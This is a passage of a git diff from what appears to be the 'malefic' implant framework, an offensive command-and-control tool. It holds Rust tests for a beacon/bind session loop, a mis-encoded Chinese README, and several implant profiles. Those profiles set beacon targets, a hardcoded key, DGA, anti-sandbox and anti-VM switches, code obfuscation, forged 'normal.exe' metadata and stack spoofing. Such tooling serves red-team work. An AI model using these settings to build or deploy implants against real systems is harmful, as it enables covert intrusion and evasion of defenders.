malefic_proto::proto::implantpb::spite::Body; + use malefic_proto::proto::implantpb::Spites; + use malefic_proto::proto::modulepb; + use malefic_proto::{new_empty_spite, new_spite}; + use malefic_transport::TransportError; + + use super::{BeaconStrategy, BindStrategy, SessionActor, SessionIo, SessionLoop}; + + #[derive(Default)] + struct FakeRunner { + log: Vec<&'static str>, + receive_queue: VecDeque>, + try_receive_queue: VecDeque>, + sent: Vec, + upgrade_count: usize, + downgrade_count: usize, + send_error: Option, + receive_error: Option, + upgrade_error: Option, + } + + #[async_trait] + impl SessionIo for FakeRunner { + async fn send(&mut self, spites: Spites) -> Result<(), TransportError> { + self.log.push("send"); + if let Some(err) = self.send_error.take() { + return Err(err); + } + self.sent.push(spites); + Ok(()) + } + + async fn receive(&mut self) -> Result, TransportError> { + self.log.push("receive"); + if let Some(err) = self.receive_error.take() { + return Err(err); + } + Ok(self.receive_queue.pop_front().flatten()) + } + + fn try_receive(&mut self) -> Result, TransportError> { + self.log.push("try_receive"); + Ok(self.try_receive_queue.pop_front().flatten()) + } + + fn upgrade(&mut self) -> Result<(), TransportError> { + self.log.push("upgrade"); + if let Some(err) = self.upgrade_error.take() { + return Err(err); + } + self.upgrade_count += 1; + Ok(()) + } + + async fn downgrade(&mut self) -> Result<(), TransportError> { + self.log.push("downgrade"); + self.downgrade_count += 1; + Ok(()) + } + } + + struct FakeActor { + keepalive_enabled: bool, + reset_count: usize, + handled: Vec, + prepare_request_queue: VecDeque, + prepare_spites_queue: VecDeque, + reconnect_on_handle_name: Option<&'static str>, + reconnect_on_mark: bool, + pending_reconnect: bool, + marked_key_exchange: usize, + heartbeat_interval: Duration, + pending_switch: bool, + } + + impl Default for FakeActor { + fn default() -> Self { + Self { + keepalive_enabled: false, + reset_count: 0, + handled: Vec::new(), + prepare_request_queue: VecDeque::new(), + prepare_spites_queue: VecDeque::new(), + reconnect_on_handle_name: None, + reconnect_on_mark: false, + pending_reconnect: false, + marked_key_exchange: 0, + heartbeat_interval: Duration::from_millis(0), + pending_switch: false, + } + } + } + + #[async_trait] + impl SessionActor for FakeActor { + async fn prepare_request(&mut self) -> anyhow::Result { + Ok(self + .prepare_request_queue + .pop_front() + .unwrap_or_else(|| empty_spites("noop_request"))) + } + + async fn prepare_spites(&mut self) -> anyhow::Result { + Ok(self + .prepare_spites_queue + .pop_front() + .unwrap_or_else(|| Spites { spites: vec![] })) + } + + async fn handle(&mut self, spites: Spites) -> anyhow::Result<()> { + for spite in spites.spites { + let name = spite.name.clone(); + if name == "keepalive" { + let enable = match spite.body.as_ref() { + Some(Body::Common(common)) => { + common.bool_array.first().copied().unwrap_or(false) + } + _ => false, + }; + self.keepalive_enabled = enable; + } + + if self + .reconnect_on_handle_name + .is_some_and(|target| target == name) + { + self.pending_reconnect = true; + } + + self.handled.push(name); + } + Ok(()) + } + + fn reset_keepalive_state(&mut self) { + self.reset_count += 1; + } + + fn keepalive_enabled(&self) -> bool { + self.keepalive_enabled + } + + fn contains_key_exchange_response(&self, spites: &Spites) -> bool { + spites + .spites + .iter() + .any(|spite| matches!(spite.body.as_ref(), Some(Body::KeyExchangeResponse(_)))) + } + + fn mark_key_exchange_response_sent(&mut self) { + self.marked_key_exchange += 1; + if self.reconnect_on_mark { + self.pending_reconnect = true; + } + } + + fn should_reconnect_after_key_exchange(&mut self) -> bool { + let reconnect = self.pending_reconnect; + self.pending_reconnect = false; + reconnect + } + + fn should_reconnect_for_switch(&self) -> bool { + self.pending_switch + } + + fn heartbeat_interval(&self) -> Duration { + self.heartbeat_interval + } + + fn create_ping(&self) -> Spites { + empty_spites("ping") + } + } + + fn empty_spites(name: &str) -> Spites { + Spites { + spites: vec![new_empty_spite(1, name.to_string())], + } + } + + fn keepalive_spites(enable: bool) -> Spites { + Spites { + spites: vec![new_spite( + 1, + "keepalive".to_string(), + Body::Common(modulepb::CommonBody { + bool_array: vec![enable], + ..Default::default() + }), + )], + } + } + + fn key_exchange_response_spites() -> Spites { + Spites { + spites: vec![new_spite( + 1, + "key_exchange".to_string(), + Body::KeyExchangeResponse(modulepb::KeyExchangeResponse { + public_key: "server-public-key".to_string(), + }), + )], + } + } + + #[test] + fn beacon_strategy_sends_before_receiving() { + let mut actor = FakeActor { + prepare_request_queue: VecDeque::from([empty_spites("beacon_request")]), + reconnect_on_handle_name: Some("beacon_response"), + ..Default::default() + }; + let mut runner = FakeRunner { + receive_queue: VecDeque::from([Some(empty_spites("beacon_response"))]), + ..Default::default() + }; + let mut session_loop = SessionLoop::new(BeaconStrategy); + + futures::executor::block_on(session_loop.run(&mut actor, &mut runner)).unwrap(); + + assert_eq!(actor.reset_count, 1); + assert_eq!(actor.handled, vec!["beacon_response".to_string()]); + assert_eq!(runner.log, vec!["send", "receive"]); + } + + #[test] + fn bind_strategy_receives_before_sending() { + let mut actor = FakeActor { + prepare_request_queue: VecDeque::from([empty_spites("bind_response")]), + reconnect_on_handle_name: Some("bind_request"), + ..Default::default() + }; + let mut runner = FakeRunner { + receive_queue: VecDeque::from([Some(empty_spites("bind_request"))]), + ..Default::default() + }; + let mut session_loop = SessionLoop::new(BindStrategy); + + futures::executor::block_on(session_loop.run(&mut actor, &mut runner)).unwrap(); + + assert_eq!(actor.reset_count, 1); + assert_eq!(actor.handled, vec!["bind_request".to_string()]); + assert_eq!(runner.log, vec!["receive", "send"]); + } + + #[test] + fn keepalive_session_upgrades_and_downgrades_before_resuming_heartbeat() { + let mut actor = FakeActor { + keepalive_enabled: true, + prepare_request_queue: VecDeque::from([empty_spites("bind_response")]), + reconnect_on_handle_name: Some("bind_request"), + ..Default::default() + }; + let mut runner = FakeRunner { + try_receive_queue: VecDeque::from([Some(keepalive_spites(false))]), + receive_queue: VecDeque::from([Some(empty_spites("bind_request"))]), + ..Default::default() + }; + let mut session_loop = SessionLoop::new(BindStrategy); + + futures::executor::block_on(session_loop.run(&mut actor, &mut runner)).unwrap(); + + assert_eq!(runner.upgrade_count, 1); + assert_eq!(runner.downgrade_count, 1); + assert_eq!( + actor.handled, + vec!["keepalive".to_string(), "bind_request".to_string()] + ); + } + + #[test] + fn key_exchange_response_in_duplex_triggers_reconnect() { + let mut actor = FakeActor { + keepalive_enabled: true, + prepare_spites_queue: VecDeque::from([key_exchange_response_spites()]), + reconnect_on_mark: true, + ..Default::default() + }; + let mut runner = FakeRunner::default(); + let mut session_loop = SessionLoop::new(BeaconStrategy); + + futures::executor::block_on(session_loop.run(&mut actor, &mut runner)).unwrap(); + + assert_eq!(actor.marked_key_exchange, 1); + assert_eq!(runner.upgrade_count, 1); + assert_eq!(runner.downgrade_count, 1); + assert_eq!(runner.sent.len(), 1); + assert_eq!(runner.sent[0].spites[0].name, "key_exchange"); + } + + #[test] + fn switch_detection_causes_reconnect() { + let mut actor = FakeActor { + pending_switch: true, + prepare_request_queue: VecDeque::from([empty_spites("req")]), + ..Default::default() + }; + let mut runner = FakeRunner { + receive_queue: VecDeque::from([Some(empty_spites("resp"))]), + ..Default::default() + }; + let mut session_loop = SessionLoop::new(BeaconStrategy); + + let result = futures::executor::block_on(session_loop.run(&mut actor, &mut runner)); + assert!(result.is_ok()); + assert_eq!(actor.handled, vec!["resp".to_string()]); + assert_eq!(runner.log, vec!["send", "receive"]); + } + + #[test] + fn send_error_propagates() { + let mut actor = FakeActor::default(); + let mut runner = FakeRunner { + send_error: Some(TransportError::SendError), + ..Default::default() + }; + let mut session_loop = SessionLoop::new(BeaconStrategy); + + let result = futures::executor::block_on(session_loop.run(&mut actor, &mut runner)); + assert!(result.is_err()); + assert_eq!(runner.log, vec!["send"]); + } + + #[test] + fn receive_error_propagates() { + let mut actor = FakeActor { + prepare_request_queue: VecDeque::from([empty_spites("req")]), + ..Default::default() + }; + let mut runner = FakeRunner { + receive_error: Some(TransportError::ConnectionReset), + ..Default::default() + }; + let mut session_loop = SessionLoop::new(BeaconStrategy); + + let result = futures::executor::block_on(session_loop.run(&mut actor, &mut runner)); + assert!(result.is_err()); + assert_eq!(runner.log, vec!["send", "receive"]); + } + + #[test] + fn upgrade_error_propagates_when_keepalive() { + let mut actor = FakeActor { + keepalive_enabled: true, + ..Default::default() + }; + let mut runner = FakeRunner { + upgrade_error: Some(TransportError::ConnectFailed("test".into())), + ..Default::default() + }; + let mut session_loop = SessionLoop::new(BeaconStrategy); + + let result = futures::executor::block_on(session_loop.run(&mut actor, &mut runner)); + assert!(result.is_err()); + assert_eq!(runner.log, vec!["upgrade"]); + assert_eq!(runner.upgrade_count, 0); + } + + #[test] + fn multiple_heartbeat_iterations() { + let mut actor = FakeActor { + prepare_request_queue: VecDeque::from([ + empty_spites("req1"), + empty_spites("req2"), + empty_spites("req3"), + ]), + reconnect_on_handle_name: Some("trigger_reconnect"), + ..Default::default() + }; + let mut runner = FakeRunner { + receive_queue: VecDeque::from([ + Some(empty_spites("resp1")), + Some(empty_spites("resp2")), + Some(empty_spites("trigger_reconnect")), + ]), + ..Default::default() + }; + let mut session_loop = SessionLoop::new(BeaconStrategy); + + let result = futures::executor::block_on(session_loop.run(&mut actor, &mut runner)); + assert!(result.is_ok()); + assert_eq!( + actor.handled, + vec![ + "resp1".to_string(), + "resp2".to_string(), + "trigger_reconnect".to_string(), + ] + ); + assert_eq!( + runner.log, + vec!["send", "receive", "send", "receive", "send", "receive"] + ); + } + + #[test] + fn keepalive_enable_disable_in_heartbeat() { + // Flow: heartbeat (keepalive=false initially) → receive keepalive(true) → + // keepalive becomes true → upgrade → duplex try_receive keepalive(false) → + // keepalive becomes false → downgrade → heartbeat → receive triggers reconnect + let mut actor = FakeActor { + keepalive_enabled: false, + reconnect_on_handle_name: Some("done"), + ..Default::default() + }; + let mut runner = FakeRunner { + receive_queue: VecDeque::from([ + Some(keepalive_spites(true)), // 1st heartbeat: enables keepalive + Some(empty_spites("done")), // 2nd heartbeat: triggers reconnect + ]), + try_receive_queue: VecDeque::from([ + Some(keepalive_spites(false)), // duplex: disables keepalive + ]), + ..Default::default() + }; + let mut session_loop = SessionLoop::new(BeaconStrategy); + + let result = futures::executor::block_on(session_loop.run(&mut actor, &mut runner)); + assert!(result.is_ok()); + assert_eq!(runner.upgrade_count, 1); + assert_eq!(runner.downgrade_count, 1); + assert_eq!( + actor.handled, + vec![ + "keepalive".to_string(), // from 1st heartbeat receive + "keepalive".to_string(), // from duplex try_receive + "done".to_string(), // from 2nd heartbeat receive + ] + ); + } +} diff --git a/prelude.yaml b/prelude.yaml new file mode 100644 index 0000000..1614087 --- /dev/null +++ b/prelude.yaml @@ -0,0 +1,6 @@ +- + name: bof + depend_on: execute_bof + body: !ExecuteBinary + name: dir + bin: !File "dir.o" diff --git a/profiles/README.md b/profiles/README.md new file mode 100644 index 0000000..6bd2015 --- /dev/null +++ b/profiles/README.md @@ -0,0 +1,27 @@ +# IoM Profiles + +本仓库包å«å¤šä¸ªé…置模æ¿ï¼Œç”¨äºŽå±•示 malefic çš„ä¸åŒåè®®ã€æ¨¡å—é…ç½®ä»¥åŠ prelude 功能的使用方å¼ã€‚ + +## Malefic åè®®é…ç½®æ¨¡æ¿ + +- **malefic-http** - 基于 HTTP å议的 malefic é…ç½®æ¨¡æ¿ +- **malefic-https** - 基于 HTTPS å议的 malefic é…ç½®æ¨¡æ¿ +- **malefic-tcp** - 基于 TCP å议的 malefic é…ç½®æ¨¡æ¿ +- **malefic-tcp-tls** - 基于 TCP+TLS çš„ malefic é…ç½®æ¨¡æ¿ +- **malefic-rem** - 使用 REM(Remote Execution Module)的 malefic é…ç½®æ¨¡æ¿ + +## Malefic 模å—é…ç½®æ¨¡æ¿ + +- **malefic-nano-modules** - 最å°åŒ–modules(ç¦ç”¨çƒ­åŠ è½½ï¼‰ +- **malefic-mini-modules** - 支æŒçƒ­æ’拔的最å°åŒ–é…置(开å¯çƒ­åŠ è½½ï¼‰ + +## Prelude 功能示例 + +- **prelude-persist** - prelude æŒä¹…åŒ–åŠŸèƒ½ç¤ºä¾‹ï¼ˆåŒ…å« BOF æŒä¹…化和 shellcode 执行) +- **prelude-shellcode** - prelude shellcode 执行功能示例 + +## Malefic 与 Prelude é›†æˆ + +- **malefic-with-prelude** - malefic æ­é… prelude 使用的é…ç½®æ¨¡æ¿ + + diff --git a/profiles/malefic-http/implant.yaml b/profiles/malefic-http/implant.yaml new file mode 100644 index 0000000..d420466 --- /dev/null +++ b/profiles/malefic-http/implant.yaml @@ -0,0 +1,126 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/1 * * * * * *" # every 1 second + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" # implant private key + public_key: "" # server public key + + # DGA + dga: + enable: false + key: "malefic_dga_2024" # key + interval_hours: 8 # generate once every 8 hours + + # Guardrail + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + # http + - address: "127.0.0.1:8080" # ip:port + http: + method: "POST" + path: "/" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" + Content-Type: "application/octet-stream" + tls: + enable: false + skip_verification: true + +build: + zigbuild: false + obfstr: true + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false # Bogus Control Flow Obfuscation + splitobf: false # Split Control Flow Obfuscation + subobf: false # Instruction Substitution Obfuscation + fco: false # Function CallSite Obfuscation + constenc: false # Constant Encryption Obfuscation + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false # whether to require admin privilege + require_uac: false # whether to require uac privilege + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:80 + protocol: "http" + http: + method: "POST" + path: "/pulse" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + + +implants: + runtime: tokio # async runtime: smol/tokio/async-std + mod: beacon # malefic mod: beacon/bind + register_info: true # whether collect sysinfo when register + hot_load: true # enable hot load module + modules: [] # module when malefic compile + enable_3rd: false # enable 3rd module + 3rd_modules: [] # 3rd module when malefic compile + prelude: "" # autorun config filename + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + + # for professional + anti: # åæ²™ç®±å调试å编译åå–è¯ç›¸å…³ + sandbox: false + vm: false # enable anti vm + + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true diff --git a/profiles/malefic-https/implant.yaml b/profiles/malefic-https/implant.yaml new file mode 100644 index 0000000..06b2aff --- /dev/null +++ b/profiles/malefic-https/implant.yaml @@ -0,0 +1,126 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/1 * * * * * *" # every 1 second + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" # implant private key + public_key: "" # server public key + + # DGA + dga: + enable: false + key: "malefic_dga_2024" # key + interval_hours: 8 # generate once every 8 hours + + # Guardrail + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + # http + - address: "example.com:443" # ip:port + http: + method: "POST" + path: "/" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" + Content-Type: "application/octet-stream" + tls: + enable: true + skip_verification: true + +build: + zigbuild: false + obfstr: true + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false # Bogus Control Flow Obfuscation + splitobf: false # Split Control Flow Obfuscation + subobf: false # Instruction Substitution Obfuscation + fco: false # Function CallSite Obfuscation + constenc: false # Constant Encryption Obfuscation + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false # whether to require admin privilege + require_uac: false # whether to require uac privilege + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:80 + protocol: "http" + http: + method: "POST" + path: "/pulse" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + + +implants: + runtime: tokio # async runtime: smol/tokio/async-std + mod: beacon # malefic mod: beacon/bind + register_info: true # whether collect sysinfo when register + hot_load: true # enable hot load module + modules: [] # module when malefic compile + enable_3rd: false # enable 3rd module + 3rd_modules: [] # 3rd module when malefic compile + prelude: "" # autorun config filename + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + + # for professional + anti: # + sandbox: false + vm: false # enable anti vm + + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true diff --git a/profiles/malefic-mini-modules/implant.yaml b/profiles/malefic-mini-modules/implant.yaml new file mode 100644 index 0000000..110d878 --- /dev/null +++ b/profiles/malefic-mini-modules/implant.yaml @@ -0,0 +1,118 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/1 * * * * * *" # every 1 second + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" # implant private key + public_key: "" # server public key + + # DGA + dga: + enable: false + key: "malefic_dga_2024" # key + interval_hours: 8 # generate once every 8 hours + + # Guardrail + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + # http + - address: "127.0.0.1:5001" # ip:port + tcp: {} + +build: + zigbuild: false + obfstr: true + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false # Bogus Control Flow Obfuscation + splitobf: false # Split Control Flow Obfuscation + subobf: false # Instruction Substitution Obfuscation + fco: false # Function CallSite Obfuscation + constenc: false # Constant Encryption Obfuscation + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false # whether to require admin privilege + require_uac: false # whether to require uac privilege + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:80 + protocol: "http" + http: + method: "POST" + path: "/pulse" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + + +implants: + runtime: tokio # async runtime: smol/tokio/async-std + mod: beacon # malefic mod: beacon/bind + register_info: true # whether collect sysinfo when register + hot_load: true # enable hot load module + modules: [] # module when malefic compile + enable_3rd: false # enable 3rd module + 3rd_modules: [] # 3rd module when malefic compile + + prelude: "" # autorun config filename + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + + # for professional + anti: # + sandbox: false + vm: false # enable anti vm + + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true diff --git a/profiles/malefic-nano-modules/implant.yaml b/profiles/malefic-nano-modules/implant.yaml new file mode 100644 index 0000000..0a5afdc --- /dev/null +++ b/profiles/malefic-nano-modules/implant.yaml @@ -0,0 +1,118 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/1 * * * * * *" # every 1 second + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" # implant private key + public_key: "" # server public key + + # DGA + dga: + enable: false + key: "malefic_dga_2024" # key + interval_hours: 8 # generate once every 8 hours + + # Guardrail + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + # http + - address: "127.0.0.1:5001" # ip:port + tcp: {} + +build: + zigbuild: false + obfstr: true + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false # Bogus Control Flow Obfuscation + splitobf: false # Split Control Flow Obfuscation + subobf: false # Instruction Substitution Obfuscation + fco: false # Function CallSite Obfuscation + constenc: false # Constant Encryption Obfuscation + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false # whether to require admin privilege + require_uac: false # whether to require uac privilege + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:80 + protocol: "http" + http: + method: "POST" + path: "/pulse" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + + +implants: + runtime: tokio # async runtime: smol/tokio/async-std + mod: beacon # malefic mod: beacon/bind + register_info: true # whether collect sysinfo when register + hot_load: false # enable hot load module + modules: [] # module when malefic compile + enable_3rd: false # enable 3rd module + 3rd_modules: [] # 3rd module when malefic compile + + prelude: "" # autorun config filename + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + + # for professional + anti: # + sandbox: false + vm: false # enable anti vm + + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true diff --git a/profiles/malefic-rem/implant.yaml b/profiles/malefic-rem/implant.yaml new file mode 100644 index 0000000..df4417c --- /dev/null +++ b/profiles/malefic-rem/implant.yaml @@ -0,0 +1,118 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/1 * * * * * *" # every 1 second + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" # implant private key + public_key: "" # server public key + + # DGA + dga: + enable: false + key: "malefic_dga_2024" # key + interval_hours: 8 # generate once every 8 hours + + # Guardrail + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + - address: "127.0.0.1:5001" # tcp pipelineåœ°å€ + rem: + link: "tcp://nonenonenonenone:@example.com:12345?wrapper=qu7tnGakBLVUjeS..." # rem链接 + +build: + zigbuild: false + obfstr: true + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false # Bogus Control Flow Obfuscation + splitobf: false # Split Control Flow Obfuscation + subobf: false # Instruction Substitution Obfuscation + fco: false # Function CallSite Obfuscation + constenc: false # Constant Encryption Obfuscation + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false # whether to require admin privilege + require_uac: false # whether to require uac privilege + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:80 + protocol: "http" + http: + method: "POST" + path: "/pulse" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + + +implants: + runtime: tokio # async runtime: smol/tokio/async-std + mod: beacon # malefic mod: beacon/bind + register_info: true # whether collect sysinfo when register + hot_load: true # enable hot load module + modules: [] # module when malefic compile + enable_3rd: false # enable 3rd module + 3rd_modules: [] # 3rd module when malefic compile + + prelude: "" # autorun config filename + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + + # for professional + anti: # + sandbox: false + vm: false # enable anti vm + + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true diff --git a/profiles/malefic-tcp-tls/implant.yaml b/profiles/malefic-tcp-tls/implant.yaml new file mode 100644 index 0000000..498558a --- /dev/null +++ b/profiles/malefic-tcp-tls/implant.yaml @@ -0,0 +1,122 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/1 * * * * * *" # every 1 second + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" # implant private key + public_key: "" # server public key + + # DGA + dga: + enable: false + key: "malefic_dga_2024" # key + interval_hours: 8 # generate once every 8 hours + + # Guardrail + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + # http + - address: "example.com:5001" # ip:port + tcp: {} + tls: + enable: true + sni: "example.com" + skip_verification: false + +build: + zigbuild: false + obfstr: true + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false # Bogus Control Flow Obfuscation + splitobf: false # Split Control Flow Obfuscation + subobf: false # Instruction Substitution Obfuscation + fco: false # Function CallSite Obfuscation + constenc: false # Constant Encryption Obfuscation + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false # whether to require admin privilege + require_uac: false # whether to require uac privilege + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:80 + protocol: "http" + http: + method: "POST" + path: "/pulse" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + + +implants: + runtime: tokio # async runtime: smol/tokio/async-std + mod: beacon # malefic mod: beacon/bind + register_info: true # whether collect sysinfo when register + hot_load: true # enable hot load module + modules: [] # module when malefic compile + enable_3rd: false # enable 3rd module + 3rd_modules: [] # 3rd module when malefic compile + + prelude: "" # autorun config filename + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + + # for professional + anti: # + sandbox: false + vm: false # enable anti vm + + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true diff --git a/profiles/malefic-tcp/implant.yaml b/profiles/malefic-tcp/implant.yaml new file mode 100644 index 0000000..110d878 --- /dev/null +++ b/profiles/malefic-tcp/implant.yaml @@ -0,0 +1,118 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/1 * * * * * *" # every 1 second + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" # implant private key + public_key: "" # server public key + + # DGA + dga: + enable: false + key: "malefic_dga_2024" # key + interval_hours: 8 # generate once every 8 hours + + # Guardrail + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + # http + - address: "127.0.0.1:5001" # ip:port + tcp: {} + +build: + zigbuild: false + obfstr: true + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false # Bogus Control Flow Obfuscation + splitobf: false # Split Control Flow Obfuscation + subobf: false # Instruction Substitution Obfuscation + fco: false # Function CallSite Obfuscation + constenc: false # Constant Encryption Obfuscation + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false # whether to require admin privilege + require_uac: false # whether to require uac privilege + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:80 + protocol: "http" + http: + method: "POST" + path: "/pulse" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + + +implants: + runtime: tokio # async runtime: smol/tokio/async-std + mod: beacon # malefic mod: beacon/bind + register_info: true # whether collect sysinfo when register + hot_load: true # enable hot load module + modules: [] # module when malefic compile + enable_3rd: false # enable 3rd module + 3rd_modules: [] # 3rd module when malefic compile + + prelude: "" # autorun config filename + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + + # for professional + anti: # + sandbox: false + vm: false # enable anti vm + + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true diff --git 